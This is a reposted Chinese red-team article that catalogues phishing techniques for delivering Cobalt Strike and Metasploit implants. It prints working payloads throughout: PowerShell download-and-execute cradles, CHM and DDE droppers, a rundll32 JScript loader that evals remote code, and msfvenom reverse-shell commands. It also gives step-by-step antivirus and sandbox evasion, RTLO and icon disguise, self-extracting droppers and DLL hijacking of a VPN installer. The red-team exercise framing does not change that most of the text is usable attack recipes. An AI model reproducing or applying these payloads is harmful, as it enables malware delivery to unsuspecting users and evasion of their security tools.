红蓝对抗之钓鱼篇:常见钓鱼思路总结
2022-3-18 11:22:28 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

1、文档连接钓鱼

1)LINK链接钓鱼

首先说明一点:ftp加! 可以执行命令

1

首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)

快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll

快捷方式的图标以及名字可以进行适当的伪装

2

这里演示一下生成后门恶意链接

运行CS,根据图片点击:Scripted Wed Delivery(s)

3

主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行

4

这里就创建好了一个 powershell 的回连恶意链接 复制即可

5

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用

6

2)LINK快捷方式钓鱼

此方式与上述方式类似

首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示

7

打开目录,找到路径为:

C:\Windows\System32\WindowsPowerShell\v1.0

生成后门恶意链接

3

4

20220318002821.png

创建 lnk 创建方式

将powershell恶意代码放入进行修改,将代码最前端添加绝对路径

8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"

这里免杀的话,使用base64等等进行混淆

然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码

9

可以对图标和名称进行适当的更改,之后就可以开始钓鱼了

3)CHM文档钓鱼

使用 EasyCHM 可以轻松的新建一个 chm 文件

EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线

首先创建个空文件夹

10

创建html文件,代码如下

<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

11

注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错

此处打开文档执行的calc,也就是计算器

Easy CHM制作CHM文档

新建工程

12

工程目录选择我们建立的test文件夹(html文件放在文件夹内)

13

14

点击编译 生成CHM

15

16

双击打开查看

17

弹出计算机

尝试使用 Cobalt Strike 木马 + CHM 上线

Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery

上文有详细步骤

18

设立好监听点击开始

19

然后将 calc.exe 替换为:

<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

20

注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突

再重新生成,查看是否上线

21

MyJSRat配合CHM进行上线

MyJSRat下载地址:https://github.com/Ridter/MyJSRat

python2运行下面的命令:

22

此处使用交互模式

python2 MyJSRat.py -i 192.168.27.180 -p 8080

Kali Linux 运行访问

23

复制代码替换payload,记得加上逗号

<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>

然后重新生成CHM并且执行

24

在kali上可以进行命令交互

CHM内容伪装

先拿一个正常的CHM文档内容,转为html

通过hh命令,转为html

hh -decompile .[\\html](file://html) CSS2.0中文手册.chm

25

钓鱼html嵌入到 html/css2/c_color.html

26

27

工程目录选择css2

28

29

注意此处,一定要诱导用户点击到 c_color.html 模块才可以

CHM文档bypass waf

(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。

HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm

(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。

4)HTA钓鱼

HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行

正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell

mshta http://127.0.0.1:8080/xxx.hta

远程调用一般会被杀,最好本地运行

利用github开源项目可以绕过部分waf

https://github.com/mdsecactivebreach/CACTUSTORCH

30

5)宏钓鱼

正常操作是利用cs生成宏代码,复制到vb里面去

然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下

首先在word选项中开启开发工具

31

然后把宏打开

创建一个 test.doc

32

然后点击 Visual Basic

33

使用Cobalt Strike 生成木马

34

点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败

35

36

将代码粘贴到刚才打开的地方

37

然后保存即可

doc格式和其它启用宏的模板的格式都可以

doc格式和原来格式的图标一样

运行文件,发现cs上线

38

可以使用EvilClippy进行免杀

https://github.com/outflanknl/EvilClippy

使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测

Excel文件也可以进行钓鱼

新建一个Excel,在左下角的sheet处右键单击,选择插入:

39

在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定

40

完成之后左下角多了一栏 宏

41

分别在A1和A2输入

=exec("c:\windows\system32\cmd.exe")

=halt()

并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件

这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作

42

宏钓鱼 bypass waf

(1)使用远程加载XSL文件达到免杀

https://github.com/sevagas/macro_pack

https://github.com/mdsecactivebreach/SharpShooter

(2)高级VBA宏免杀

参考 https://www.certego.net/en/news/advanced-vba-macros/

6)OLE(Object Linking and Embedding,对象链接与嵌入)

是一种把一个文件嵌入到另一个文件中的技术

msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs

在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。

注意:该方法的提示窗口只提示 application 而不提示 topic

excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)

=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1

word:

打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间

{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }

msf中可直接用,生成一个rtf文档,点击即可上线

use exploit/windows/fileformat/office_dde_delivery

set lport 4444

set lhost xx.xx.xx.xx

7)嵌入JS元素

这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。

一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作

<html>
<body>
<script>
var a = document.createElement('a');
console.log(a);
document.body.appendChild(a);
a.style = 'display: none';
a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
a.download = fileName;
window.URL.revokeObjectURL(url);
</script>
<script>
a.click();
</script>
</body>
</html>

8)利用模板文件注入宏指令

原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。

我们在启用宏的模板文件(doc3.dotm)里写入宏。

Sub AutoOpen()
Shell "calc"
End Sub

60

9)CVE

Office历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等

CVE-2017-0199

https://github.com/bhdresh/CVE-2017-0199

影响版本:office 2016、2013、2010、2007

CVE-2017-11882

https://github.com/Ridter/CVE-2017-11882/

影响版本:office 2016、2013、2010、2007、2003

CVE-2018-0802

https://github.com/rxwx/CVE-2018-0802

影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3

2、伪造界面钓鱼

1)PPT动作按钮特性构造 PPSX 钓鱼

运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存

43

然后弹出的窗口处

44

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""

然后将格式保存为ppsx格式保存即可 执行即可上线

3、exe等可执行文件

1)shellcode 异或加密免杀(golang)

利用 msfvenom 生成一段 shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234

利用 golang ,将shellcode进行异或

45

进行编译(在windows进行编译)

go build xxx.go运行即可

也可以利用aes加密等等

46

2)shellcode转换免杀

C#编译成exe -> exe -> 转js -> js混淆

参考文章: https://wtfsec.org/posts/%E5%85%8D%E6%9D%80-msf-windows-payload-%E7%9A%84%E6%96%B9%E6%B3%95%E4%B8%8E%E5%AE%9E%E8%B7%B5/

利用DotNetToJScript转exe为js

https://github.com/tyranid/DotNetToJScript

47

3)shellcode编译免杀

使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)

msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php

利用bamcompile将php转为exe

bamcompile -w -c shell.php shell.exe

4)shellcode分离加载免杀

分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入

远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的

shellcode loader github开源项目很多

48

5)绕过沙盒

主要思想:判断父进程是否为Debugger:在沙盒内被调试

判断时间是否被加速:一般沙盒内的程序时间都会加速

判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB

虚拟机其他特征

https://github.com/dycsy/ShellcodeLoader

https://github.com/1y0n/AV_Evasion_Tool

49

50

6)exe伪装

1、图标伪装

这里使用 Restorator 2018 小工具进行图标修改

http://www.pc6.com/softview/SoftView_585736.html

激活将附带的激活码填入即可

然后使用 Restorator 修改图标

直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可

图标的话需要ico格式

https://www.easyicon.net/iconsearch/⾳乐ico/

http://www.bitbug.net/在线制作ico图标

在这⾥下载图标,并在bitbug转换格式即可!

62

更改图标直接再图标处右键导入

2、RTLO

通过重命名,在a后面右键,插入Unicode控制字符 -> RLO

63

64

65

实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀

3、rar解压自运行

木马文件:artifact.exe 迷惑文件:calc.exe

进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件

66

高级 -> 自解压选项 -> 设置

提取前打开伪装文件,提取后运行马

67

模式 -> 全部隐藏

68

更新 -> 解压并更新文件,覆盖所有文件

69

双击可以打开计算机,CS上线

70

7)绕过行为检测

部分敏感行为可操作windowsAPI

比如360对添加用户会拦截

可以操作以下两个API绕过

NetUserAdd

NetLocalGroupAddMembers

其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等

8)DLL劫持+重新制作安装包

DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL

如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作

51

在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西

比如梯子的安装包以及梯子的账号密码

这里可能会用到拿破轮胎大佬写的DLL注入工具

52

使用方法:

1.输入CS或者msf生成的shellcode生成免杀DLL文件

2.添加需要劫持的软件或者dll

3.劫持过后会在运行目录生成一个DLL和配置文件

4.需要把两个文件放在被劫持的软件同目录下才可以运行

注意:

本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

参考文章:

https://blog.csdn.net/weixin_35771144/article/details/111056447

使用CS生成shellcode

53

54

把shellcode放入工具然后生成dll即可

55

选择DLL处选择生成的DLL

56

注入目标为

C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的

57

注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下

58

然后运行即可上线

然后接下来使用NSIS重新制作安装包

使用NSIS制作安装包可以参考: https://www.cnblogs.com/modou/p/3573772.html

59

9)免杀思路

1、CS生成exe的payload

2、exe-payload 放置公网服务器

3、再CS生成python-payload

4、将python-payload转base64值

5、base64值的payload再用序列化转码

6、序列化转码后的payload再用反序列化转码

7、转成反序列化后的payload再用python3的tinyaes混淆

8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可

可以查查掩日

最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行

GoFildBinder

https://github.com/Yihsiwei/GoFileBinder

golang免杀捆绑器 捆绑器免杀效果会持续更新下去

使用以下命令进行捆绑器编译

go build GoFileBinder.go

使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)

GoFileBinder.exe 木马.exe xxx.txt

也可以尝试使用kali自带的upx

4、邮件钓鱼

包含邮件服务器相关环境搭建,邮件信息收集,参考:

https://www.freebuf.com/articles/web/260391.html

5、flash钓鱼

源码: https://github.com/r00tSe7en/Fake-flash.cn

尝试自解压或者配合捆绑

6、网站钓鱼

制作钓鱼网站,克隆网站

cs,msf 都有这个功能

setoolkit


文章来源: https://www.freebuf.com/articles/web/325322.html
如有侵权请联系:admin#unsafe.sh